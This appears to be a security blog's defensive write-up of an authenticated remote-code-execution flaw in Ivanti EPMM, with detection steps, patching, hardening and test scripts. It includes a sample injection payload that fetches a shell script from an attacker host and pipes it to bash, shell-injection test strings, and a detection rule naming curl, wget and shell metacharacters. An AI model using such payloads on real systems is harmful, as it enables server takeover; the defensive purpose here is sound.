Vulnerability Analysis

CVE-2026-6973: Ivanti EPMM Zero-Day RCE Under Active Exploitation — Detection, Remediation & Hardening

Executive Summary

Ivanti's Endpoint Manager Mobile (EPMM) contains a critical improper input validation flaw (CVE-2026-6973) that allows a remotely authenticated attacker with administrative privileges to execute arbitrary code on vulnerable on-premises deployments. The vulnerability is being actively exploited in targeted attacks, has been added to CISA's Known Exploited Vulnerabilities (KEV) catalog, and federal agencies were ordered to patch by May 10, 2026. All organizations running on-premises EPMM versions 12.8.0.0 or earlier must treat this as an emergency and apply patches immediately.

1. What Is This Vulnerability?

CVE-2026-6973 is an Improper Input Validation (CWE-20) vulnerability in Ivanti Endpoint Manager Mobile (EPMM), a widely deployed Mobile Device Management (MDM) solution used to manage and secure smartphones, tablets, and other endpoints across enterprise environments.

The flaw resides in how EPMM's administrative API processes user-supplied input. When the server handles certain administrative API endpoints, it fails to adequately sanitize or validate attacker-controlled parameters before passing them to underlying system components. This allows an attacker who has obtained administrator-level credentials to inject malicious input that is then interpreted and executed as operating system commands or code, effectively achieving Remote Code Execution (RCE) with elevated privileges on the host server.

Attack Vector

The exploitation path follows a straightforward escalation:

  1. Initial Access: Attacker authenticates to the EPMM administrative portal using valid admin credentials (obtained via credential stuffing, phishing, prior breach, or default credentials).
  2. Malicious Payload Delivery: Attacker crafts a specially formed API request to a vulnerable EPMM administrative endpoint, embedding a malicious payload in an improperly validated parameter.
  3. Server-Side Execution: EPMM passes the unsanitized parameter to a downstream system function (e.g., a shell invocation, deserialization routine, or template renderer) that executes the injected payload.
  4. Code Execution: Arbitrary code runs on the EPMM server with the application's privileges — typically running as root or a high-privileged system account — granting the attacker full control over the MDM server.

A simplified illustration of the vulnerable code pattern:

# VULNERABLE: User-controlled input passed directly to system call
admin_input = request.params['config_value']
os.system(f"apply-config --value={admin_input}")

# Example exploit payload:
# config_value = "foo; curl http://attacker.com/shell.sh | bash"

Real-World Impact

Ivanti confirmed that a "very limited number of customers" were targeted in zero-day attacks before a patch was available. Given that EPMM servers hold complete inventory of managed devices, push configuration profiles, store device certificates, and can remotely wipe or lock endpoints, a compromised EPMM server gives attackers a privileged foothold into the entire enterprise mobile fleet. Past Ivanti EPMM attacks (including the 2023 MobileIron/EPMM wave) have been attributed to nation-state threat actors targeting government, healthcare, and critical infrastructure.

CISA added CVE-2026-6973 to its KEV catalog on May 7, 2026 — an indicator that it is being weaponized against real targets. Ivanti also noted that the risk is compounded for organizations previously hit by the related vulnerabilities CVE-2026-1281 and CVE-2026-1340 without subsequent credential rotation.

2. Who Is Affected?

Component Affected Not Affected
Ivanti EPMM (on-premises) ≤ 12.8.0.0 ✅ Yes
Ivanti EPMM 12.6.1.1, 12.7.0.1, 12.8.0.1+ ✅ Patched
Ivanti Neurons for MDM (cloud) ✅ Not affected
Ivanti EPM (Endpoint Manager — different product) ✅ Not affected
Ivanti Sentry ✅ Not affected
Other Ivanti products ✅ Not affected

Specifically vulnerable versions:

  • EPMM 11.x through 12.8.0.0 (all on-premises deployments)

Risk amplification factors:

  • EPMM instance is internet-accessible (administrative portal exposed to untrusted networks)
  • Default or weak admin credentials in use
  • Previous compromise via CVE-2026-1281 or CVE-2026-1340 without credential rotation
  • Logging and alerting not configured on the EPMM server

Who is most at risk:

  • Government agencies (CISA-mandated patch deadline)
  • Healthcare organizations with MDM-managed medical devices
  • Financial services firms with large mobile device fleets
  • Defense contractors and critical infrastructure operators

3. How to Detect It (Testing)

Manual Testing Steps

Step 1: Identify your EPMM version

# Log into the EPMM admin portal and navigate to:
# Settings → System Settings → Version Information

# Or query the API:
curl -sk https://<your-epmm-host>/api/v2/system/version \
  -H "Authorization: Bearer <admin_token>"

If the version is 12.8.0.0 or earlier, you are running a vulnerable instance.

Step 2: Check for indicators of compromise in EPMM logs

# On-premises EPMM server — check application logs for anomalous admin API calls
tail -n 5000 /opt/mi/tomcat/logs/catalina.out | grep -E "(exec|Runtime|ProcessBuilder|cmd|/bin/sh)"

# Look for unusual POST requests to admin API endpoints
grep "POST /api/v2/admin" /opt/mi/tomcat/logs/access_log.* | \
  awk '{print $1, $7, $9}' | sort | uniq -c | sort -rn | head -50

Step 3: Check for unexpected outbound connections from the EPMM server

# Network connection audit from EPMM host
ss -tnp | grep java
netstat -anp | grep ESTABLISHED | grep -v ":443\|:80\|:5701\|:3306"

# Review recent auth events for admin logins outside business hours
grep "AdminLogin" /opt/mi/tomcat/logs/audit.log | \
  awk '{print $1, $2, $NF}' | tail -100

Step 4: Inspect running processes for suspicious child processes of the EPMM application

# Check for shells spawned from Java (EPMM process)
ps auxf | grep -A5 "java.*mi-" | grep -E "(sh|bash|python|perl|nc|curl|wget)"

Step 5: What indicates active compromise

  • Java process with unexpected shell child processes
  • Outbound connections to non-Ivanti cloud IPs from EPMM server
  • Admin API requests from unexpected source IPs or at unusual hours
  • New admin accounts created programmatically
  • MDM profiles pushed to devices without administrator action

Automated Scanning

Tool: Tenable Nessus / Tenable.io

Plugin ID: Search for "Ivanti EPMM" in your plugin library
Detection: Authenticated scan against EPMM host
Expected output: "Ivanti EPMM < 12.6.1.1 / 12.7.0.1 / 12.8.0.1 Remote Code Execution"

Tool: Qualys VMDR

QID: Search for CVE-2026-6973 in the Qualys vulnerability library
Scan type: Authenticated network scan against EPMM host
Expected output: Vulnerability flagged under EPMM host asset

Tool: Nuclei (community template)

# Run nuclei with CVE template when available
nuclei -u https://<epmm-host> -t cves/2026/CVE-2026-6973.yaml -severity high,critical

# Generic version detection fallback
nuclei -u https://<epmm-host> -t technologies/ivanti/ -o ivanti-scan-results.txt

Tool: Shodan / Censys (for internet exposure audit)

Shodan query: title:"Ivanti EPMM" OR title:"MobileIron" port:443
Censys query: services.tls.certificates.leaf_data.subject.common_name: "mi.ivanti" AND services.port: 443

Purpose: Identify if your EPMM instance is inadvertently internet-exposed

Code Review Checklist

If you maintain custom EPMM integrations or plugins:

  • Verify no custom scripts call EPMM admin APIs with user-supplied parameters without sanitization
  • Confirm API tokens used in automation have the minimum required privilege (not full admin)
  • Check that admin credentials stored in CI/CD pipelines or automation tools are rotated
  • Validate that EPMM's administrative interface is not routed through internet-facing reverse proxies
  • Confirm access to /api/v2/admin/* endpoints is restricted to known management IPs via firewall rules

4. How to Fix It (Mitigation)

Step-by-Step Remediation

1. Backup before patching

# On EPMM server — snapshot your database and configuration first
pg_dump -U postgres mi_db > /backup/mi_db_$(date +%Y%m%d).sql
tar czf /backup/epmm-config-$(date +%Y%m%d).tar.gz /opt/mi/config/

2. Download the official patch from Ivanti

Navigate to the Ivanti Software Portal: https://forums.ivanti.com/s/article/EPMM-Security-Advisory and download the appropriate fixed release:

Your current version Patch to install
12.8.x Upgrade to 12.8.0.1
12.7.x Upgrade to 12.7.0.1
12.6.x Upgrade to 12.6.1.1
11.x or earlier Upgrade to 12.6.1.1+ (see migration guide)

3. Apply the patch using the EPMM System Manager

1. Log into the EPMM System Manager: https://<epmm-host>:8443/mics/
2. Navigate to: Updates → Software Updates
3. Upload the downloaded patch .zip file
4. Click Apply Update
5. Monitor the upgrade log for successful completion
6. Verify: Settings → System Settings → Version Information shows patched version

4. Rotate all administrative credentials immediately after patching

This is a CISA-recommended step, especially if you were previously impacted by CVE-2026-1281 or CVE-2026-1340:

EPMM Admin Console → Security → Admin Users
- Reset all admin passwords to new, strong, unique values
- Revoke and reissue all API tokens used by integrations
- Enforce MFA for all admin accounts if not already configured

5. Restart services and validate operation

# Restart EPMM services
systemctl restart mi-server
systemctl restart mi-tomcat

# Verify services are healthy
systemctl status mi-server mi-tomcat
curl -sk https://localhost/api/v2/ping | python3 -m json.tool

6. Review audit logs post-patch for any signs of pre-patch compromise

grep "AdminLogin\|AdminAction" /opt/mi/tomcat/logs/audit.log | \
  awk '$1 >= "2026-04-01"' | sort > /tmp/admin-audit-review.txt

Configuration Hardening

Restrict admin portal access by IP:

# In your perimeter firewall or on the EPMM host's iptables:
iptables -A INPUT -p tcp --dport 443 -s <management_network_cidr> -j ACCEPT
iptables -A INPUT -p tcp --dport 443 -j DROP
iptables -A INPUT -p tcp --dport 8443 -s <management_network_cidr> -j ACCEPT
iptables -A INPUT -p tcp --dport 8443 -j DROP

Enable EPMM audit logging to a remote SIEM:

EPMM Admin → Logging → Syslog Settings
- Enable syslog forwarding to your SIEM
- Log level: Info or Debug for admin events
- Protocol: TLS (TCP 6514)

Enforce MFA on all admin accounts:

EPMM Admin → Security → Authentication Policies
- Enable two-factor authentication for Admin Portal
- Integrate with your corporate IdP via SAML or RADIUS

5. How to Test the Fix (Validation)

Regression Test Scenarios

  • Scenario A: Confirm the patched EPMM version is reflected in the system info API response and admin portal version banner.
  • Scenario B: Confirm that authenticated admin API requests with deliberately malformed/injected parameters (e.g., shell metacharacters) are rejected with a 400/422 error rather than executed.
  • Scenario C: Confirm that all core MDM functions (device enrollment, policy push, compliance checks) continue to operate normally post-patch.
  • Scenario D: Confirm admin console login still functions for all existing admin accounts post-credential rotation.

Security Test Cases

Test Case 1: Verify version is patched

  • Precondition: Patch has been applied and services restarted
  • Steps: curl -sk https://<epmm-host>/api/v2/system/version -H "Authorization: Bearer <token>"
  • Expected Result: Version number ≥ 12.6.1.1, 12.7.0.1, or 12.8.0.1

Test Case 2: Confirm malformed input is rejected

  • Precondition: Patch applied, admin credentials available
  • Steps: Submit an API request with a payload containing shell injection characters (; whoami, `id`, $(uname -a)) in a parameter field
  • Expected Result: API returns HTTP 400 Bad Request or 422 Unprocessable Entity; no OS-level command executed

Test Case 3: Verify credential rotation worked

  • Precondition: All admin passwords rotated
  • Steps: Attempt login with the previous admin passwords
  • Expected Result: Authentication fails; only new credentials succeed

Test Case 4: Confirm no unexpected processes spawned from EPMM

  • Precondition: Post-patch, system at rest
  • Steps: ps auxf | grep java and inspect for shell processes
  • Expected Result: No sh, bash, curl, or wget processes appear as children of the EPMM Java process

Automated Tests

import requests
import subprocess
import sys

EPMM_HOST = "https://your-epmm-host.example.com"
ADMIN_TOKEN = "your_admin_api_token"

def test_version_is_patched():
    """Verify EPMM version is at or above patched release."""
    r = requests.get(f"{EPMM_HOST}/api/v2/system/version",
                     headers={"Authorization": f"Bearer {ADMIN_TOKEN}"},
                     verify=False)
    version = r.json().get("version", "")
    major, minor, patch_ver = [int(x) for x in version.split(".")[:3]]
    patched = (major > 12) or (major == 12 and minor >= 8 and patch_ver >= 1) or \
              (major == 12 and minor == 7 and patch_ver >= 1) or \
              (major == 12 and minor == 6 and patch_ver >= 1)
    assert patched, f"FAIL: Version {version} is NOT patched!"
    print(f"PASS: EPMM version {version} is patched.")

def test_input_validation():
    """Confirm injection payloads are rejected by the API."""
    payload = {"config_value": "normal; id > /tmp/pwned"}
    r = requests.post(f"{EPMM_HOST}/api/v2/admin/config",
                      headers={"Authorization": f"Bearer {ADMIN_TOKEN}"},
                      json=payload, verify=False)
    assert r.status_code in (400, 422, 403), \
        f"FAIL: Server returned {r.status_code} — injection may not be blocked!"
    print(f"PASS: Injection payload rejected with HTTP {r.status_code}.")

if __name__ == "__main__":
    test_version_is_patched()
    test_input_validation()
    print("All security tests passed.")

6. Prevention & Hardening

Best Practices

  • Practice 1 — Principle of Least Privilege for MDM Admins: Create role-based admin accounts in EPMM rather than sharing a single super-admin account. Limit each role to only the EPMM functions it needs. Audit admin account membership quarterly.
  • Practice 2 — Restrict Admin Portal to Management Networks: EPMM's admin interface (port 443 and 8443) should never be internet-accessible. Place it behind a VPN or Zero Trust Network Access (ZTNA) gateway.
  • Practice 3 — Mandatory MFA on All Admin Accounts: Enable multi-factor authentication for every EPMM administrator. Use hardware keys or authenticator apps — SMS-based MFA is insufficient for this level of access.
  • Practice 4 — Maintain a Rapid Patch SLA for Ivanti Products: Ivanti MDM products have historically been targeted by sophisticated threat actors (APT groups). Establish a policy of 24–72 hour emergency patch deployment for CVSS ≥ 7.0 vulnerabilities in EPMM.
  • Practice 5 — Quarterly Credential Rotation: Rotate all admin passwords and API tokens for EPMM on a quarterly basis regardless of known breaches, and immediately following any Ivanti security advisory.
  • Practice 6 — Segment the EPMM Server: Place EPMM on a dedicated management VLAN with outbound internet access restricted to only required Ivanti cloud services (Apple APNs, Google FCM, Ivanti update servers). Block general outbound internet from the EPMM server.

Monitoring & Detection

Configure the following alerts in your SIEM to detect active exploitation attempts against EPMM:

# Example Sigma Rule — Suspicious EPMM Admin API Activity
title: Ivanti EPMM Admin API Anomaly (CVE-2026-6973)
status: experimental
description: Detects potential exploitation of CVE-2026-6973 via unusual admin API calls
logsource:
  product: ivanti_epmm
  category: webserver_access
detection:
  selection:
    cs-uri-stem|contains:
      - '/api/v2/admin/'
    cs-method: 'POST'
  filter_normal_hours:
    # Alert on admin API activity outside of 0700–1900 local time
  filter_known_mgmt_ips:
    # Alert on source IPs outside your known management CIDR ranges
  keywords:
    cs-uri-query|contains:
      - '%3B'      # URL-encoded semicolon (shell injection attempt)
      - '%60'      # URL-encoded backtick
      - '%24%28'   # URL-encoded $( (command substitution)
      - '.sh'
      - 'curl'
      - 'wget'
condition: selection AND (keywords OR NOT filter_known_mgmt_ips)
level: high
tags:
  - cve.2026-6973
  - attack.execution
  - attack.t1059

Additional detection signals to watch for:

  • New admin account creation not triggered by your IT provisioning workflow
  • MDM profiles pushed to devices outside of normal change windows
  • Certificate or VPN profile mass-updates affecting large device populations
  • Outbound connections from EPMM server to non-whitelisted IPs (especially over non-standard ports)
  • System calls to /bin/sh or /bin/bash spawned from the EPMM Java process (java -jar mi-server.jar)

References

Latest from the blog

See all →